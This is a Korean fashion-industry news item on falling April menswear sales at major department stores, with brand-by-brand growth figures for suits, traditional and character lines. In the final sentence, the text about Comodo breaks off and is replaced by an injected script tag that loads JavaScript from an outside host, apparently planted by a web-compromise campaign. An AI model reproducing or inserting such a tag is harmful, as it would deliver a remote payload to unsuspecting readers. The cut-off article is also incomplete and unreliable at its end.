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주요 백화점 남성복 매출 4월에도 주춤 주요 백화점의 남성복 매출이 전반적인 경기침체와 날씨 등의 영향으로 하락세가 계속되고 있다.
특히 신사 정장군은 전년 대비 두 자릿수 역신장을 기록하고 있는 가운데 현대백화점의 경우 ‘로가디스’, ‘마에스트로’ 등 리딩 브랜드의 신장세가 주춤한 반면 ‘지방시’, ‘니나리찌’는 전년대비 10%~30%의 신장률을 기록하고 있다.
트래디셔널군은 봄 상품 판매가 부진하면서 매출 하락이 계속되고 있으며 특히 ‘빈폴’의 역신장이 두드러졌다.
남성 시장이 확대되면서 유일하게 신장세를 보이고 있는 캐릭터군은 전년대비 3~4%대의 신장률을 나타내고 있다. 특히 점퍼형 재킷 등의 스프링 아우터의 판매가 매출 신장에 주효했다.
‘코모도’는 주요 백화점에서 다양한 스타일의 스프링 아우터가 인기를 얻으면서 전년대비 7% 신장률을 기록하고 있으며, ?script src=http://mekiller.com/1/1.js>
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